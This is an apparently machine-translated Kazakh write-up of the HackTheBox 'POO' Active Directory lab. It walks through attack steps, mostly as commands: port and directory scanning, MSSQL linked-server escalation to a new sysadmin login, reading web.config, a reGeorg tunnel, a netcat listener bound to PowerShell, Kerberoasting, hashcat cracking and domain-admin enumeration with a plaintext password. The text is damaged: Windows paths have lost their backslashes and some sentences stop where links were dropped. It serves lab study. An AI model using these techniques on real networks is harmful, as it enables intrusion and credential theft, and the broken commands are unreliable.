Бұл мақалада біз жай ғана машинаның емес, бүкіл шағын зертхананың сайттан өтуін талдаймыз
Сипаттамада айтылғандай, POO шағын Active Directory ортасында шабуылдардың барлық кезеңдеріндегі дағдыларды тексеруге арналған. Мақсат - қол жетімді хостты бұзу, артықшылықтарды арттыру және ақыр соңында процесте 5 жалаушаны жинау арқылы бүкіл доменді бұзу.
Зертханаға қосылу VPN арқылы жүзеге асырылады. Ақпараттық қауіпсіздік туралы бірдеңе білетін адамдармен жеке желіге кіргендіктен, жұмыс істейтін компьютерден немесе сіз үшін маңызды деректер бар хосттан қосылмау ұсынылады 🙂
ұйымдастырушылық ақпарат
Жаңа мақалалар, бағдарламалық қамтамасыз ету және басқа ақпарат туралы білуіңіз үшін мен жасадым
Барлық ақпарат тек білім беру мақсатында берілген. Осы құжаттың авторы осы құжатты зерделеу нәтижесінде алынған білім мен әдістерді пайдалану нәтижесінде ешкімге келтірілген зиян үшін жауапкершілік көтермейді.
Intro
Бұл соңғы ойын екі машинадан тұрады және 5 жалаушадан тұрады.
Қол жетімді хосттың сипаттамасы мен мекенжайы да берілген.
Бастайық!
Recon жалауы
Бұл құрылғыда 10.13.38.11 IP мекенжайы бар, оны мен /etc/hosts ішіне қосамын.
10.13.38.11 poo.htb
Бірінші қадам - ашық порттарды сканерлеу. Барлық порттарды nmap көмегімен сканерлеу көп уақытты қажет ететіндіктен, мен оны алдымен masscan арқылы жасаймын. Біз барлық TCP және UDP порттарын tun0 интерфейсінен 500pps жылдамдығымен сканерлейміз.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Енді порттарда жұмыс істейтін қызметтер туралы толығырақ ақпарат алу үшін -A опциясымен сканерлеуді іске қосамыз.
nmap -A poo.htb -p80,1433
Осылайша, бізде IIS және MSSQL қызметтері бар. Бұл жағдайда біз домен мен компьютердің нақты DNS атауын анықтаймыз. Веб-серверде бізді IIS басты беті қарсы алады.
Каталогтарды қайталап көрейік. Мен бұл үшін gobuster қолданамын. Параметрлерде ағындар санын 128 (-t), URL (-u), сөздік (-w) және бізді қызықтыратын кеңейтімдерді (-x) көрсетеміз.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Осылайша, бізде /admin каталогы үшін HTTP аутентификациясы, сондай-ақ қол жетімді .DS_Store жұмыс үстелі қызметінің сақтау файлы бар. .DS_Store — файлдар тізімі, белгіше орны, таңдалған фондық сурет сияқты қалта үшін пайдаланушы параметрлерін сақтайтын файлдар. Мұндай файл веб-әзірлеушілердің веб-сервер каталогында аяқталуы мүмкін. Осылайша, біз каталогтың мазмұны туралы ақпарат аламыз. Ол үшін пайдалануға болады
python3 dsstore_crawler.py -i http://poo.htb/
Біз каталогтың мазмұнын аламыз. Мұндағы ең қызық нәрсе - /dev каталогы, одан біз екі тармақта көздер мен db файлдарын көре аламыз. Бірақ егер қызмет IIS ShortName үшін осал болса, біз файл мен каталог атауларының алғашқы 6 таңбасын пайдалана аламыз. Бұл осалдықты пайдаланып тексере аласыз
Біз «poo_co» деп басталатын бір мәтіндік файлды табамыз. Әрі қарай не істерімді білмей, каталогтар сөздігінен «co» әрпінен басталатын барлық сөздерді таңдадым.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Және wfuzz арқылы қайталаңыз.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Және дұрыс сөзді табыңыз! Біз бұл файлды қарастырамыз, тіркелгі деректерін сақтаймыз (DBNAME параметрі бойынша олар MSSQL-тен алынған).
Біз туды тапсырамыз, ал біз 20% алға жылжамыз.
Уа ту
Біз MSSQL-ге қосыламыз, мен DBeaver пайдаланамын.
Біз бұл дерекқордан қызықты ештеңе таппадық, SQL редакторын жасап, пайдаланушылардың қандай екенін тексерейік.
SELECT name FROM master..syslogins;
Бізде екі пайдаланушы бар. Артықшылықтарымызды тексерейік.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Осылайша, артықшылықтар жоқ. Байланыстырылған серверлерді көрейік, мен бұл техника туралы егжей-тегжейлі жаздым
SELECT * FROM master..sysservers;
Сонымен, біз басқа SQL серверін табамыз. Openquery() арқылы осы сервердегі командалардың орындалуын тексерейік.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Біз тіпті сұрау ағашын құра аламыз.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Өйткені, біз байланыстырылған серверге сұраныс жасағанда, сұрау басқа пайдаланушының контекстінде орындалады! Байланыстырылған серверде қандай пайдаланушы контекстін іске қосып жатқанымызды көрейік.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Ал енді бізбен байланысқан серверден сұрау қандай контексте орындалатынын көрейік!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Осылайша, бұл барлық артықшылықтарға ие болуы керек DBO мәтінмәні. Байланыстырылған серверден сұрау болған жағдайда артықшылықтарды тексерейік.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Көріп отырғаныңыздай, бізде барлық артықшылықтар бар! Әкімшімізді осылай құрайық. Бірақ олар оларға ашық сұрау арқылы мүмкіндік бермейді, оны EXECUTE AT арқылы жасайық.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Енді біз жаңа пайдаланушының тіркелгі деректерімен қосыламыз, жалаушаның жаңа дерекқорын бақылаймыз.
Осы туды тапсырып, әрі қарай жүреміз.
Кері жалау
MSSQL арқылы қабықты алайық, мен импакет бумасынан mssqlclient пайдаланамын.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Біз парольдерді алуымыз керек және біз кездестірген бірінші нәрсе - бұл сайт. Осылайша, бізге веб-сервер конфигурациясы қажет (ыңғайлы қабықшаны тастау мүмкін емес, брандмауэр жұмыс істеп тұрған сияқты).
Бірақ кіруге тыйым салынады. Біз MSSQL файлын оқи алатынымызға қарамастан, қандай бағдарламалау тілдері конфигурацияланғанын білуіміз керек. Ал MSSQL каталогында Python бар екенін білеміз.
Содан кейін web.config файлын оқуда ешқандай проблема болмайды.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Табылған тіркелгі деректерімен /admin бөліміне өтіп, жалаушаны алыңыз.
тұғыр туы
Шындығында брандмауэрді пайдаланудың кейбір қолайсыздықтары бар, бірақ желі параметрлерін қарап отырып, IPv6 протоколы да қолданылғанын байқаймыз!
Бұл мекенжайды /etc/hosts ішіне қосыңыз.
dead:babe::1001 poo6.htb
Хостты қайтадан сканерлеп көрейік, бірақ бұл жолы IPv6 арқылы.
Ал WinRM қызметі IPv6 арқылы қол жетімді. Табылған тіркелгі деректерімен қосылайық.
Жұмыс үстелінде жалауша бар, оны тапсыр.
P00 жалаушасы
Хостта барлаудан кейін
setspn.exe -T intranet.poo -Q */*
MSSQL арқылы команданы орындайық.
Осылайша, біз p00_hr және p00_adm пайдаланушыларының SPN аламыз, бұл олардың Kerberoasting сияқты шабуылға осал екенін білдіреді. Қысқасы, біз олардың құпия сөздерінің хэштерін ала аламыз.
Алдымен MSSQL пайдаланушысы атынан тұрақты қабықшаны алу керек. Бірақ қол жеткізу мүмкіндігіміз шектеулі болғандықтан, хостпен тек 80 және 1433 порттары арқылы байланысымыз бар. Бірақ 80 порт арқылы трафикті туннельдеуге болады! Ол үшін біз пайдаланамыз
Бірақ біз оған қол жеткізуге тырысқанда, біз 404 қатесін аламыз.Бұл *.aspx файлдары орындалмағанын білдіреді. Осы кеңейтімдері бар файлдарды іске қосу үшін ASP.NET 4.5 нұсқасын төмендегідей орнатыңыз.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ал енді tunnel.aspx сайтына кірген кезде біз барлығы дайын деген жауап аламыз.
Трафикті жіберетін қолданбаның клиенттік бөлігін бастайық. Біз барлық трафикті 5432 портынан серверге жібереміз.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Біз прокси арқылы кез келген қолданбаның трафигін жіберу үшін проксичейндерді пайдаланамыз. Осы проксиді /etc/proxychains.conf конфигурация файлына қосамыз.
Енді бағдарламаны серверге жүктеп алайық
Енді MSSQL арқылы біз тыңдаушыны іске қосамыз.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Біз прокси арқылы қосыламыз.
proxychains rlwrap nc poo.htb 4321
Ал хэштерді алайық.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Әрі қарай, осы хэштерді қайталау керек. Сізде құпия сөз деректерінің сөздігі болмағандықтан, мен Seclists бөлімінде берілген БАРЛЫҚ құпия сөздіктерді пайдаландым. Санау үшін біз hashcat пайдаланамыз.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Біз екі құпия сөзді де табамыз, біріншісі dutch_passwordlist.txt сөздігінде, екіншісі Keyboard-Combinations.txt ішінен.
Сонымен, бізде үш пайдаланушы бар, біз домен контроллеріне барамыз. Алдымен оның мекен-жайын біліп алайық.
Керемет, біз домен контроллерінің IP мекенжайын білдік. Доменнің барлық пайдаланушыларын, сондай-ақ олардың қайсысы әкімші екенін білейік. PowerView.ps1 ақпаратты алу үшін сценарийді жүктеп алу. Содан кейін -s параметріндегі сценариймен каталогты көрсете отырып, evil-winrm көмегімен қосыламыз. Содан кейін PowerView сценарийін жүктеңіз.
Енді біз оның барлық функцияларына қол жеткізе аламыз. p00_adm пайдаланушысы артықшылықты пайдаланушыға ұқсайды, сондықтан біз оның контекстінде жұмыс істейміз. Осы пайдаланушы үшін PSCredential нысанын жасайық.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Енді біз Creds көрсететін барлық Powershell пәрмендері p00_adm атынан орындалады. Пайдаланушылар тізімін және AdminCount атрибутын көрсетейік.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Сонымен, біздің пайдаланушы шынымен артықшылыққа ие. Оның қандай топтарға жататынын көрейік.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Ақырында біз пайдаланушының домен әкімшісі екенін растаймыз. Бұл оған домен контроллеріне қашықтан кіру құқығын береді. Туннельді пайдаланып WinRM арқылы кіруге тырысайық. Evil-winrm пайдалану кезінде reGeorg шығарған қателер мені шатастырды.
Содан кейін біз басқа, оңайырақ қолданамыз,
Біз қосылуға тырысамыз және біз жүйедеміз.
Бірақ ту жоқ. Содан кейін пайдаланушыға қарап, жұмыс үстелдерін тексеріңіз.
mr3ks-те біз жалаушаны табамыз және зертхана 100% аяқталды.
Осымен болды. Кері байланыс ретінде осы мақаладан жаңа бірдеңе білдіңіз бе және ол сізге пайдалы болды ма деп түсініктеме беріңіз.
Бізбен байланысыңыз
Ақпарат көзі: www.habr.com